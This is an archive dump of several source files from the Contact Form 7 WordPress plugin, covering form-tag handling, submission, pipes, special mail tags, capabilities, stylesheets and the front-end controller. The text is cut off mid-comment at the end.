	public function validation_error( $name ) {
		$error = '';

		if ( $this->is_posted() ) {
			$submission = WPCF7_Submission::get_instance();

			if ( $invalid_field = $submission->get_invalid_field( $name ) ) {
				$error = trim( $invalid_field['reason'] );
			}
		}

		if ( ! $error ) {
			return $error;
		}

		$atts = array(
			'class' => 'wpcf7-not-valid-tip',
			'aria-hidden' => 'true',
		);

		$error = sprintf(
			'<span %1$s>%2$s</span>',
			wpcf7_format_atts( $atts ),
			esc_html( $error )
		);

		return apply_filters( 'wpcf7_validation_error', $error, $name, $this );
	}


	/**
	 * Replaces all form-tags in the form template with corresponding HTML.
	 *
	 * @return string Replaced form content.
	 */
	public function replace_all_form_tags() {
		$manager = WPCF7_FormTagsManager::get_instance();
		$form = $this->prop( 'form' );

		if ( wpcf7_autop_or_not() ) {
			$form = $manager->replace_with_placeholders( $form );
			$form = wpcf7_autop( $form );
			$form = $manager->restore_from_placeholders( $form );
		}

		$form = $manager->replace_all( $form );
		$this->scanned_form_tags = $manager->get_scanned_tags();

		return $form;
	}


	/**
	 * Replaces all form-tags in the form template with corresponding HTML.
	 *
	 * @deprecated 4.6 Use replace_all_form_tags()
	 *
	 * @return string Replaced form content.
	 */
	public function form_do_shortcode() {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_ContactForm::replace_all_form_tags'
		);

		return $this->replace_all_form_tags();
	}


	/**
	 * Scans form-tags from the form template.
	 *
	 * @param string|array|null $cond Optional. Filters. Default null.
	 * @return array Form-tags matching the given filter conditions.
	 */
	public function scan_form_tags( $cond = null ) {
		$manager = WPCF7_FormTagsManager::get_instance();

		if ( empty( $this->scanned_form_tags ) ) {
			$this->scanned_form_tags = $manager->scan( $this->prop( 'form' ) );
		}

		$tags = $this->scanned_form_tags;

		return $manager->filter( $tags, $cond );
	}


	/**
	 * Scans form-tags from the form template.
	 *
	 * @deprecated 4.6 Use scan_form_tags()
	 *
	 * @param string|array|null $cond Optional. Filters. Default null.
	 * @return array Form-tags matching the given filter conditions.
	 */
	public function form_scan_shortcode( $cond = null ) {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_ContactForm::scan_form_tags'
		);

		return $this->scan_form_tags( $cond );
	}


	/**
	 * Replaces all form-tags in the form template with corresponding HTML.
	 *
	 * @return string Replaced form content. wpcf7_form_elements filters applied.
	 */
	public function form_elements() {
		return apply_filters( 'wpcf7_form_elements',
			$this->replace_all_form_tags()
		);
	}


	/**
	 * Collects mail-tags available for this contact form.
	 *
	 * @param string|array $options Optional. Search options.
	 * @return array Mail-tag names.
	 */
	public function collect_mail_tags( $options = '' ) {
		$manager = WPCF7_FormTagsManager::get_instance();

		$options = wp_parse_args( $options, array(
			'include' => array(),
			'exclude' => $manager->collect_tag_types( 'not-for-mail' ),
		) );

		$tags = $this->scan_form_tags();
		$mailtags = array();

		foreach ( (array) $tags as $tag ) {
			$type = $tag->basetype;

			if ( empty( $type ) ) {
				continue;
			} elseif ( ! empty( $options['include'] ) ) {
				if ( ! in_array( $type, $options['include'] ) ) {
					continue;
				}
			} elseif ( ! empty( $options['exclude'] ) ) {
				if ( in_array( $type, $options['exclude'] ) ) {
					continue;
				}
			}

			$mailtags[] = $tag->name;
		}

		$mailtags = array_unique( $mailtags );
		$mailtags = array_filter( $mailtags );
		$mailtags = array_values( $mailtags );

		return apply_filters( 'wpcf7_collect_mail_tags', $mailtags, $options, $this );
	}


	/**
	 * Prints a mail-tag suggestion list.
	 *
	 * @param string $template_name Optional. Mail template name. Default 'mail'.
	 */
	public function suggest_mail_tags( $template_name = 'mail' ) {
		$mail = wp_parse_args( $this->prop( $template_name ),
			array(
				'active' => false,
				'recipient' => '',
				'sender' => '',
				'subject' => '',
				'body' => '',
				'additional_headers' => '',
				'attachments' => '',
				'use_html' => false,
				'exclude_blank' => false,
			)
		);

		$mail = array_filter( $mail );

		foreach ( (array) $this->collect_mail_tags() as $mail_tag ) {
			$pattern = sprintf(
				'/\[(_[a-z]+_)?%s([ \t]+[^]]+)?\]/',
				preg_quote( $mail_tag, '/' )
			);

			$used = preg_grep( $pattern, $mail );

			echo sprintf(
				'<span class="%1$s">[%2$s]</span>',
				'mailtag code ' . ( $used ? 'used' : 'unused' ),
				esc_html( $mail_tag )
			);
		}
	}


	/**
	 * Submits this contact form.
	 *
	 * @param string|array $options Optional. Submission options. Default empty.
	 * @return array Result of submission.
	 */
	public function submit( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'skip_mail' =>
				( $this->in_demo_mode()
				|| $this->is_true( 'skip_mail' )
				|| ! empty( $this->skip_mail ) ),
		) );

		if ( $this->is_true( 'subscribers_only' )
		and ! current_user_can( 'wpcf7_submit', $this->id() ) ) {
			$result = array(
				'contact_form_id' => $this->id(),
				'status' => 'error',
				'message' => __(
					"This contact form is available only for logged in users.",
					'contact-form-7'
				),
			);

			return $result;
		}

		$submission = WPCF7_Submission::get_instance( $this, array(
			'skip_mail' => $options['skip_mail'],
		) );

		$result = array(
			'contact_form_id' => $this->id(),
		);

		$result += $submission->get_result();

		if ( $this->in_demo_mode() ) {
			$result['demo_mode'] = true;
		}

		do_action( 'wpcf7_submit', $this, $result );

		return $result;
	}


	/**
	 * Returns message used for given status.
	 *
	 * @param string $status Status.
	 * @param bool $filter Optional. Whether filters are applied. Default true.
	 * @return string Message.
	 */
	public function message( $status, $filter = true ) {
		$messages = $this->prop( 'messages' );
		$message = isset( $messages[$status] ) ? $messages[$status] : '';

		if ( $filter ) {
			$message = $this->filter_message( $message, $status );
		}

		return $message;
	}


	/**
	 * Filters a message.
	 *
	 * @param string $message Message to filter.
	 * @param string $status Optional. Status. Default empty.
	 * @return string Filtered message.
	 */
	public function filter_message( $message, $status = '' ) {
		$message = wpcf7_mail_replace_tags( $message );
		$message = apply_filters( 'wpcf7_display_message', $message, $status );
		$message = wp_strip_all_tags( $message );

		return $message;
	}


	/**
	 * Returns the additional setting value searched by name.
	 *
	 * @param string $name Name of setting.
	 * @return string Additional setting value.
	 */
	public function pref( $name ) {
		$settings = $this->additional_setting( $name );

		if ( $settings ) {
			return $settings[0];
		}
	}


	/**
	 * Returns additional setting values searched by name.
	 *
	 * @param string $name Name of setting.
	 * @param int $max Maximum result item count.
	 * @return array Additional setting values.
	 */
	public function additional_setting( $name, $max = 1 ) {
		$settings = (array) explode( "\n", $this->prop( 'additional_settings' ) );

		$pattern = '/^([a-zA-Z0-9_]+)[\t ]*:(.*)$/';
		$count = 0;
		$values = array();

		foreach ( $settings as $setting ) {
			if ( preg_match( $pattern, $setting, $matches ) ) {
				if ( $matches[1] != $name ) {
					continue;
				}

				if ( ! $max or $count < (int) $max ) {
					$values[] = trim( $matches[2] );
					$count += 1;
				}
			}
		}

		return $values;
	}


	/**
	 * Returns true if the specified setting has a truthy string value.
	 *
	 * @param string $name Name of setting.
	 * @return bool True if the setting value is 'on', 'true', or '1'.
	 */
	public function is_true( $name ) {
		return in_array(
			$this->pref( $name ),
			array( 'on', 'true', '1' ),
			true
		);
	}


	/**
	 * Returns true if this contact form is in the demo mode.
	 */
	public function in_demo_mode() {
		return $this->is_true( 'demo_mode' );
	}


	/**
	 * Returns true if nonce is active for this contact form.
	 */
	public function nonce_is_active() {
		$is_active = WPCF7_VERIFY_NONCE;

		if ( $this->is_true( 'subscribers_only' ) ) {
			$is_active = true;
		}

		return (bool) apply_filters( 'wpcf7_verify_nonce', $is_active, $this );
	}


	/**
	 * Returns true if the specified setting has a falsey string value.
	 *
	 * @param string $name Name of setting.
	 * @return bool True if the setting value is 'off', 'false', or '0'.
	 */
	public function is_false( $name ) {
		return in_array(
			$this->pref( $name ),
			array( 'off', 'false', '0' ),
			true
		);
	}


	/**
	 * Upgrades this contact form properties.
	 */
	private function upgrade() {
		$mail = $this->prop( 'mail' );

		if ( is_array( $mail )
		and ! isset( $mail['recipient'] ) ) {
			$mail['recipient'] = get_option( 'admin_email' );
		}

		$this->properties['mail'] = $mail;

		$messages = $this->prop( 'messages' );

		if ( is_array( $messages ) ) {
			foreach ( wpcf7_messages() as $key => $arr ) {
				if ( ! isset( $messages[$key] ) ) {
					$messages[$key] = $arr['default'];
				}
			}
		}

		$this->properties['messages'] = $messages;
	}


	/**
	 * Stores this contact form properties to the database.
	 *
	 * @return int The post ID on success. The value 0 on failure.
	 */
	public function save() {
		$title = wp_slash( $this->title );
		$props = wp_slash( $this->get_properties() );

		$post_content = implode( "\n", wpcf7_array_flatten( $props ) );

		if ( $this->initial() ) {
			$post_id = wp_insert_post( array(
				'post_type' => self::post_type,
				'post_status' => 'publish',
				'post_title' => $title,
				'post_content' => trim( $post_content ),
			) );
		} else {
			$post_id = wp_update_post( array(
				'ID' => (int) $this->id,
				'post_status' => 'publish',
				'post_title' => $title,
				'post_content' => trim( $post_content ),
			) );
		}

		if ( $post_id ) {
			foreach ( $props as $prop => $value ) {
				update_post_meta( $post_id, '_' . $prop,
					wpcf7_normalize_newline_deep( $value )
				);
			}

			if ( wpcf7_is_valid_locale( $this->locale ) ) {
				update_post_meta( $post_id, '_locale', $this->locale );
			}

			add_post_meta( $post_id, '_hash',
				wpcf7_generate_contact_form_hash( $post_id ),
				true // Unique
			);

			if ( $this->initial() ) {
				$this->id = $post_id;
				do_action( 'wpcf7_after_create', $this );
			} else {
				do_action( 'wpcf7_after_update', $this );
			}

			do_action( 'wpcf7_after_save', $this );
		}

		return $post_id;
	}


	/**
	 * Makes a copy of this contact form.
	 *
	 * @return WPCF7_ContactForm New contact form object.
	 */
	public function copy() {
		$new = new self;
		$new->title = $this->title . '_copy';
		$new->locale = $this->locale;
		$new->properties = $this->properties;

		return apply_filters( 'wpcf7_copy', $new, $this );
	}


	/**
	 * Deletes this contact form.
	 *
	 * @return bool True if deletion succeeded, false otherwise.
	 */
	public function delete() {
		if ( $this->initial() ) {
			return false;
		}

		if ( wp_delete_post( $this->id, true ) ) {
			$this->id = 0;
			return true;
		}

		return false;
	}


	/**
	 * Returns a WordPress shortcode for this contact form.
	 */
	public function shortcode( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'use_old_format' => false
		) );

		$title = str_replace( array( '"', '[', ']' ), '', $this->title );

		if ( $options['use_old_format'] ) {
			$old_unit_id = (int) get_post_meta( $this->id, '_old_cf7_unit_id', true );

			if ( $old_unit_id ) {
				$shortcode = sprintf(
					'[contact-form %1$d "%2$s"]',
					$old_unit_id,
					$title
				);
			} else {
				$shortcode = '';
			}
		} else {
			$shortcode = sprintf(
				'[contact-form-7 id="%1$s" title="%2$s"]',
				$this->hash(),
				$title
			);
		}

		return apply_filters( 'wpcf7_contact_form_shortcode',
			$shortcode, $options, $this
		);
	}
}
contact-form-7/includes/pipe.php000064400000005076147510273060012575 0ustar00<?php
/**
 * Pipe-related classes.
 *
 * @link https://contactform7.com/selectable-recipient-with-pipes/
 */


/**
 * Class representing a pair of pipe.
 */
class WPCF7_Pipe {

	public $before = '';
	public $after = '';

	public function __construct( $text ) {
		$text = (string) $text;

		$pipe_pos = strpos( $text, '|' );

		if ( false === $pipe_pos ) {
			$this->before = $this->after = trim( $text );
		} else {
			$this->before = trim( substr( $text, 0, $pipe_pos ) );
			$this->after = trim( substr( $text, $pipe_pos + 1 ) );
		}
	}
}


/**
 * Class representing a list of pipes.
 */
class WPCF7_Pipes {

	private $pipes = array();

	public function __construct( $texts = null ) {
		foreach ( (array) $texts as $text ) {
			$this->add_pipe( $text );
		}
	}

	private function add_pipe( $text ) {
		$pipe = new WPCF7_Pipe( $text );
		$this->pipes[] = $pipe;
	}

	public function merge( self $another ) {
		$this->pipes = array_merge( $this->pipes, $another->pipes );
	}

	public function do_pipe( $input ) {
		$input_canonical = wpcf7_canonicalize( $input, array(
			'strto' => 'as-is',
		) );

		foreach ( $this->pipes as $pipe ) {
			$before_canonical = wpcf7_canonicalize( $pipe->before, array(
				'strto' => 'as-is',
			) );

			if ( $input_canonical === $before_canonical ) {
				return $pipe->after;
			}
		}

		return $input;
	}

	public function collect_befores() {
		$befores = array();

		foreach ( $this->pipes as $pipe ) {
			$befores[] = $pipe->before;
		}

		return $befores;
	}

	public function collect_afters() {
		$afters = array();

		foreach ( $this->pipes as $pipe ) {
			$afters[] = $pipe->after;
		}

		return $afters;
	}

	public function zero() {
		return empty( $this->pipes );
	}

	public function random_pipe() {
		if ( $this->zero() ) {
			return null;
		}

		return $this->pipes[array_rand( $this->pipes )];
	}

	public function to_array() {
		return array_map(
			static function ( WPCF7_Pipe $pipe ) {
				return array(
					$pipe->before,
					$pipe->after,
				);
			},
			$this->pipes
		);
	}
}


/**
 * Trait for classes that hold cross-tag WPCF7_Pipes object.
 */
trait WPCF7_PipesHolder {

	protected $pipes;

	public function get_pipes( $field_name ) {
		if ( isset( $this->pipes[$field_name] ) ) {
			return $this->pipes[$field_name];
		}

		$result = new WPCF7_Pipes;

		$tags = $this->scan_form_tags( array(
			'name' => $field_name,
		) );

		foreach ( $tags as $tag ) {
			if ( $tag->pipes instanceof WPCF7_Pipes ) {
				$result->merge( $tag->pipes );
			}
		}

		return $this->pipes[$field_name] = $result;
	}

	public function scan_form_tags() {
		return array();
	}

}
contact-form-7/includes/css/styles.css000064400000005516147510273060013753 0ustar00.wpcf7 .screen-reader-response {
	position: absolute;
	overflow: hidden;
	clip: rect(1px, 1px, 1px, 1px);
	clip-path: inset(50%);
	height: 1px;
	width: 1px;
	margin: -1px;
	padding: 0;
	border: 0;
	word-wrap: normal !important;
}

.wpcf7 form .wpcf7-response-output {
	margin: 2em 0.5em 1em;
	padding: 0.2em 1em;
	border: 2px solid #00a0d2; /* Blue */
}

.wpcf7 form.init .wpcf7-response-output,
.wpcf7 form.resetting .wpcf7-response-output,
.wpcf7 form.submitting .wpcf7-response-output {
	display: none;
}

.wpcf7 form.sent .wpcf7-response-output {
	border-color: #46b450; /* Green */
}

.wpcf7 form.failed .wpcf7-response-output,
.wpcf7 form.aborted .wpcf7-response-output {
	border-color: #dc3232; /* Red */
}

.wpcf7 form.spam .wpcf7-response-output {
	border-color: #f56e28; /* Orange */
}

.wpcf7 form.invalid .wpcf7-response-output,
.wpcf7 form.unaccepted .wpcf7-response-output,
.wpcf7 form.payment-required .wpcf7-response-output {
	border-color: #ffb900; /* Yellow */
}

.wpcf7-form-control-wrap {
	position: relative;
}

.wpcf7-not-valid-tip {
	color: #dc3232; /* Red */
	font-size: 1em;
	font-weight: normal;
	display: block;
}

.use-floating-validation-tip .wpcf7-not-valid-tip {
	position: relative;
	top: -2ex;
	left: 1em;
	z-index: 100;
	border: 1px solid #dc3232;
	background: #fff;
	padding: .2em .8em;
	width: 24em;
}

.wpcf7-list-item {
	display: inline-block;
	margin: 0 0 0 1em;
}

.wpcf7-list-item-label::before,
.wpcf7-list-item-label::after {
	content: " ";
}

.wpcf7-spinner {
	visibility: hidden;
	display: inline-block;
	background-color: #23282d; /* Dark Gray 800 */
	opacity: 0.75;
	width: 24px;
	height: 24px;
	border: none;
	border-radius: 100%;
	padding: 0;
	margin: 0 24px;
	position: relative;
}

form.submitting .wpcf7-spinner {
	visibility: visible;
}

.wpcf7-spinner::before {
	content: '';
	position: absolute;
	background-color: #fbfbfc; /* Light Gray 100 */
	top: 4px;
	left: 4px;
	width: 6px;
	height: 6px;
	border: none;
	border-radius: 100%;
	transform-origin: 8px 8px;
	animation-name: spin;
	animation-duration: 1000ms;
	animation-timing-function: linear;
	animation-iteration-count: infinite;
}

@media (prefers-reduced-motion: reduce) {
	.wpcf7-spinner::before {
		animation-name: blink;
		animation-duration: 2000ms;
	}
}

@keyframes spin {
	from {
		transform: rotate(0deg);
	}

	to {
		transform: rotate(360deg);
	}
}

@keyframes blink {
	from {
		opacity: 0;
	}

	50% {
		opacity: 1;
	}

	to {
		opacity: 0;
	}
}

.wpcf7 [inert] {
	opacity: 0.5;
}

.wpcf7 input[type="file"] {
	cursor: pointer;
}

.wpcf7 input[type="file"]:disabled {
	cursor: default;
}

.wpcf7 .wpcf7-submit:disabled {
	cursor: not-allowed;
}

.wpcf7 input[type="url"],
.wpcf7 input[type="email"],
.wpcf7 input[type="tel"] {
	direction: ltr;
}

.wpcf7-reflection > output {
	display: list-item;
	list-style: none;
}

.wpcf7-reflection > output[hidden] {
	display: none;
}
contact-form-7/includes/css/styles-rtl.css000064400000000230147510273060014536 0ustar00.wpcf7-not-valid-tip {
	direction: rtl;
}

.use-floating-validation-tip .wpcf7-not-valid-tip {
	right: 1em;
}

.wpcf7-list-item {
	margin: 0 1em 0 0;
}
contact-form-7/includes/shortcodes.php000064400000005226147510273060014012 0ustar00<?php
/**
 * All the functions and classes in this file are deprecated.
 * You should not use them. The functions and classes will be
 * removed in a later version.
 */

function wpcf7_add_shortcode( $tag, $callback, $has_name = false ) {
	wpcf7_deprecated_function( __FUNCTION__, '4.6', 'wpcf7_add_form_tag' );

	return wpcf7_add_form_tag( $tag, $callback, $has_name );
}

function wpcf7_remove_shortcode( $tag ) {
	wpcf7_deprecated_function( __FUNCTION__, '4.6', 'wpcf7_remove_form_tag' );

	return wpcf7_remove_form_tag( $tag );
}

function wpcf7_do_shortcode( $content ) {
	wpcf7_deprecated_function( __FUNCTION__, '4.6',
		'wpcf7_replace_all_form_tags' );

	return wpcf7_replace_all_form_tags( $content );
}

function wpcf7_scan_shortcode( $cond = null ) {
	wpcf7_deprecated_function( __FUNCTION__, '4.6', 'wpcf7_scan_form_tags' );

	return wpcf7_scan_form_tags( $cond );
}

class WPCF7_ShortcodeManager {

	private static $form_tags_manager;

	private function __construct() {}

	public static function get_instance() {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::get_instance' );

		self::$form_tags_manager = WPCF7_FormTagsManager::get_instance();
		return new self;
	}

	public function get_scanned_tags() {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::get_scanned_tags' );

		return self::$form_tags_manager->get_scanned_tags();
	}

	public function add_shortcode( $tag, $callback, $has_name = false ) {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::add' );

		return self::$form_tags_manager->add( $tag, $callback, $has_name );
	}

	public function remove_shortcode( $tag ) {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::remove' );

		return self::$form_tags_manager->remove( $tag );
	}

	public function normalize_shortcode( $content ) {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::normalize' );

		return self::$form_tags_manager->normalize( $content );
	}

	public function do_shortcode( $content, $exec = true ) {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::replace_all' );

		if ( $exec ) {
			return self::$form_tags_manager->replace_all( $content );
		} else {
			return self::$form_tags_manager->scan( $content );
		}
	}

	public function scan_shortcode( $content ) {
		wpcf7_deprecated_function( __METHOD__, '4.6',
			'WPCF7_FormTagsManager::scan' );

		return self::$form_tags_manager->scan( $content );
	}
}

class WPCF7_Shortcode extends WPCF7_FormTag {

	public function __construct( $tag ) {
		wpcf7_deprecated_function( 'WPCF7_Shortcode', '4.6', 'WPCF7_FormTag' );

		parent::__construct( $tag );
	}
}
contact-form-7/includes/special-mail-tags.php000064400000015005147510273060015125 0ustar00<?php
/**
** Special Mail Tags
** https://contactform7.com/special-mail-tags/
**/

add_filter( 'wpcf7_special_mail_tags', 'wpcf7_special_mail_tag', 10, 4 );

/**
 * Returns output string of a special mail-tag.
 *
 * @param string $output The string to be output.
 * @param string $name The tag name of the special mail-tag.
 * @param bool $html Whether the mail-tag is used in an HTML content.
 * @param WPCF7_MailTag $mail_tag An object representation of the mail-tag.
 * @return string Output of the given special mail-tag.
 */
function wpcf7_special_mail_tag( $output, $name, $html, $mail_tag = null ) {
	if ( ! $mail_tag instanceof WPCF7_MailTag ) {
		wpcf7_doing_it_wrong(
			sprintf( '%s()', __FUNCTION__ ),
			__( 'The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class.', 'contact-form-7' ),
			'5.2.2'
		);
	}

	$name = preg_replace( '/^wpcf7\./', '_', $name ); // for back-compat

	$submission = WPCF7_Submission::get_instance();

	if ( ! $submission ) {
		return $output;
	}

	if ( '_remote_ip' === $name ) {
		if ( $remote_ip = $submission->get_meta( 'remote_ip' ) ) {
			return $remote_ip;
		} else {
			return '';
		}
	}

	if ( '_user_agent' === $name ) {
		if ( $user_agent = $submission->get_meta( 'user_agent' ) ) {
			return $html ? esc_html( $user_agent ) : $user_agent;
		} else {
			return '';
		}
	}

	if ( '_url' === $name ) {
		if ( $url = $submission->get_meta( 'url' ) ) {
			return $url;
		} else {
			return '';
		}
	}

	if ( '_date' === $name or '_time' === $name ) {
		if ( $timestamp = $submission->get_meta( 'timestamp' ) ) {
			if ( '_date' === $name ) {
				return wp_date( get_option( 'date_format' ), $timestamp );
			}

			if ( '_time' === $name ) {
				return wp_date( get_option( 'time_format' ), $timestamp );
			}
		}

		return '';
	}

	if ( '_invalid_fields' === $name ) {
		return count( $submission->get_invalid_fields() );
	}

	if ( '_contact_form_title' === $name ) {
		$contact_form = $submission->get_contact_form();

		return $html
			? esc_html( $contact_form->title() )
			: $contact_form->title();
	}

	return $output;
}


add_filter( 'wpcf7_special_mail_tags', 'wpcf7_post_related_smt', 10, 4 );

/**
 * Returns output string of a special mail-tag.
 *
 * @param string $output The string to be output.
 * @param string $name The tag name of the special mail-tag.
 * @param bool $html Whether the mail-tag is used in an HTML content.
 * @param WPCF7_MailTag $mail_tag An object representation of the mail-tag.
 * @return string Output of the given special mail-tag.
 */
function wpcf7_post_related_smt( $output, $name, $html, $mail_tag = null ) {
	if ( ! $mail_tag instanceof WPCF7_MailTag ) {
		wpcf7_doing_it_wrong(
			sprintf( '%s()', __FUNCTION__ ),
			__( 'The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class.', 'contact-form-7' ),
			'5.2.2'
		);
	}

	if ( ! str_starts_with( $name, '_post_' ) ) {
		return $output;
	}

	$submission = WPCF7_Submission::get_instance();

	if ( ! $submission ) {
		return $output;
	}

	$post_id = (int) $submission->get_meta( 'container_post_id' );

	if ( ! $post_id or ! $post = get_post( $post_id ) ) {
		return '';
	}

	if ( '_post_id' === $name ) {
		return (string) $post->ID;
	}

	if ( '_post_name' === $name ) {
		return $post->post_name;
	}

	if ( '_post_title' === $name ) {
		return $html ? esc_html( $post->post_title ) : $post->post_title;
	}

	if ( '_post_url' === $name ) {
		return get_permalink( $post->ID );
	}

	$user = new WP_User( $post->post_author );

	if ( '_post_author' === $name ) {
		return $user->display_name;
	}

	if ( '_post_author_email' === $name ) {
		return $user->user_email;
	}

	return $output;
}


add_filter( 'wpcf7_special_mail_tags', 'wpcf7_site_related_smt', 10, 4 );

/**
 * Returns output string of a special mail-tag.
 *
 * @param string $output The string to be output.
 * @param string $name The tag name of the special mail-tag.
 * @param bool $html Whether the mail-tag is used in an HTML content.
 * @param WPCF7_MailTag $mail_tag An object representation of the mail-tag.
 * @return string Output of the given special mail-tag.
 */
function wpcf7_site_related_smt( $output, $name, $html, $mail_tag = null ) {
	if ( ! $mail_tag instanceof WPCF7_MailTag ) {
		wpcf7_doing_it_wrong(
			sprintf( '%s()', __FUNCTION__ ),
			__( 'The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class.', 'contact-form-7' ),
			'5.2.2'
		);
	}

	$filter = $html ? 'display' : 'raw';

	if ( '_site_title' === $name ) {
		$output = get_bloginfo( 'name', $filter );

		if ( ! $html ) {
			$output = wp_specialchars_decode( $output, ENT_QUOTES );
		}

		return $output;
	}

	if ( '_site_description' === $name ) {
		$output = get_bloginfo( 'description', $filter );

		if ( ! $html ) {
			$output = wp_specialchars_decode( $output, ENT_QUOTES );
		}

		return $output;
	}

	if ( '_site_url' === $name ) {
		return get_bloginfo( 'url', $filter );
	}

	if ( '_site_domain' === $name ) {
		$url = get_bloginfo( 'url', $filter );
		$host = wp_parse_url( $url, PHP_URL_HOST );

		if ( null === $host ) {
			return '';
		}

		if ( str_starts_with( $host, 'www.' ) ) {
			$host = substr( $host, 4 );
		}

		return $host;
	}

	if ( '_site_admin_email' === $name ) {
		return get_bloginfo( 'admin_email', $filter );
	}

	return $output;
}


add_filter( 'wpcf7_special_mail_tags', 'wpcf7_user_related_smt', 10, 4 );

/**
 * Returns output string of a special mail-tag.
 *
 * @param string $output The string to be output.
 * @param string $name The tag name of the special mail-tag.
 * @param bool $html Whether the mail-tag is used in an HTML content.
 * @param WPCF7_MailTag $mail_tag An object representation of the mail-tag.
 * @return string Output of the given special mail-tag.
 */
function wpcf7_user_related_smt( $output, $name, $html, $mail_tag = null ) {
	if ( ! $mail_tag instanceof WPCF7_MailTag ) {
		wpcf7_doing_it_wrong(
			sprintf( '%s()', __FUNCTION__ ),
			__( 'The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class.', 'contact-form-7' ),
			'5.2.2'
		);
	}

	if ( ! str_starts_with( $name, '_user_' ) or '_user_agent' === $name ) {
		return $output;
	}

	$submission = WPCF7_Submission::get_instance();

	if ( ! $submission ) {
		return $output;
	}

	$user_id = (int) $submission->get_meta( 'current_user_id' );

	if ( ! $user_id ) {
		return '';
	}

	$primary_props = array( 'user_login', 'user_email', 'user_url' );
	$opt = ltrim( $name, '_' );
	$opt = in_array( $opt, $primary_props ) ? $opt : substr( $opt, 5 );

	$user = new WP_User( $user_id );

	if ( $user->has_prop( $opt ) ) {
		return $user->get( $opt );
	}

	return '';
}
contact-form-7/includes/capabilities.php000064400000001502147510273060014257 0ustar00<?php

add_filter( 'map_meta_cap', 'wpcf7_map_meta_cap', 10, 4 );

function wpcf7_map_meta_cap( $caps, $cap, $user_id, $args ) {
	$meta_caps = array(
		'wpcf7_edit_contact_form' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
		'wpcf7_edit_contact_forms' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
		'wpcf7_read_contact_form' => WPCF7_ADMIN_READ_CAPABILITY,
		'wpcf7_read_contact_forms' => WPCF7_ADMIN_READ_CAPABILITY,
		'wpcf7_delete_contact_form' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
		'wpcf7_delete_contact_forms' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
		'wpcf7_manage_integration' => 'manage_options',
		'wpcf7_submit' => 'read',
	);

	$meta_caps = apply_filters( 'wpcf7_map_meta_cap', $meta_caps );

	$caps = array_diff( $caps, array_keys( $meta_caps ) );

	if ( isset( $meta_caps[$cap] ) ) {
		$caps[] = $meta_caps[$cap];
	}

	return $caps;
}
contact-form-7/includes/controller.php000064400000006305147510273060014017 0ustar00<?php
/**
 * Controller for front-end requests, scripts, and styles
 */


add_action(
	'parse_request',
	'wpcf7_control_init',
	20, 0
);

/**
 * Handles a submission in non-Ajax mode.
 */
function wpcf7_control_init() {
	if ( WPCF7_Submission::is_restful() ) {
		return;
	}

	if ( isset( $_POST['_wpcf7'] ) ) {
		$contact_form = wpcf7_contact_form( (int) $_POST['_wpcf7'] );

		if ( $contact_form ) {
			$contact_form->submit();
		}
	}
}


/**
 * Registers main scripts and styles.
 */
add_action(
	'wp_enqueue_scripts',
	static function () {
		$assets = include(
			wpcf7_plugin_path( 'includes/js/index.asset.php' )
		);

		$assets = wp_parse_args( $assets, array(
			'dependencies' => array(),
			'version' => WPCF7_VERSION,
		) );

		wp_register_script(
			'contact-form-7',
			wpcf7_plugin_url( 'includes/js/index.js' ),
			array_merge(
				$assets['dependencies'],
				array( 'swv' )
			),
			$assets['version'],
			array( 'in_footer' => true )
		);

		wp_set_script_translations( 'contact-form-7', 'contact-form-7' );

		wp_register_script(
			'contact-form-7-html5-fallback',
			wpcf7_plugin_url( 'includes/js/html5-fallback.js' ),
			array( 'jquery-ui-datepicker' ),
			WPCF7_VERSION,
			array( 'in_footer' => true )
		);

		if ( wpcf7_load_js() ) {
			wpcf7_enqueue_scripts();
		}

		wp_register_style(
			'contact-form-7',
			wpcf7_plugin_url( 'includes/css/styles.css' ),
			array(),
			WPCF7_VERSION,
			'all'
		);

		wp_register_style(
			'contact-form-7-rtl',
			wpcf7_plugin_url( 'includes/css/styles-rtl.css' ),
			array( 'contact-form-7' ),
			WPCF7_VERSION,
			'all'
		);

		wp_register_style(
			'jquery-ui-smoothness',
			wpcf7_plugin_url(
				'includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css'
			),
			array(),
			'1.12.1',
			'screen'
		);

		if ( wpcf7_load_css() ) {
			wpcf7_enqueue_styles();
		}
	},
	10, 0
);


/**
 * Enqueues scripts.
 */
function wpcf7_enqueue_scripts() {
	wp_enqueue_script( 'contact-form-7' );

	$wpcf7_obj = array(
		'api' => array(
			'root' => sanitize_url( get_rest_url() ),
			'namespace' => 'contact-form-7/v1',
		),
	);

	if ( defined( 'WP_CACHE' ) and WP_CACHE ) {
		$wpcf7_obj = array_merge( $wpcf7_obj, array(
			'cached' => 1,
		) );
	}

	wp_add_inline_script( 'contact-form-7',
		sprintf(
			'var wpcf7 = %s;',
			wp_json_encode( $wpcf7_obj, JSON_PRETTY_PRINT )
		),
		'before'
	);

	do_action( 'wpcf7_enqueue_scripts' );
}


/**
 * Returns true if the main script is enqueued.
 */
function wpcf7_script_is() {
	return wp_script_is( 'contact-form-7' );
}


/**
 * Enqueues styles.
 */
function wpcf7_enqueue_styles() {
	wp_enqueue_style( 'contact-form-7' );

	if ( wpcf7_is_rtl() ) {
		wp_enqueue_style( 'contact-form-7-rtl' );
	}

	do_action( 'wpcf7_enqueue_styles' );
}


/**
 * Returns true if the main stylesheet is enqueued.
 */
function wpcf7_style_is() {
	return wp_style_is( 'contact-form-7' );
}


add_action(
	'wp_enqueue_scripts',
	'wpcf7_html5_fallback',
	20, 0
);

/**
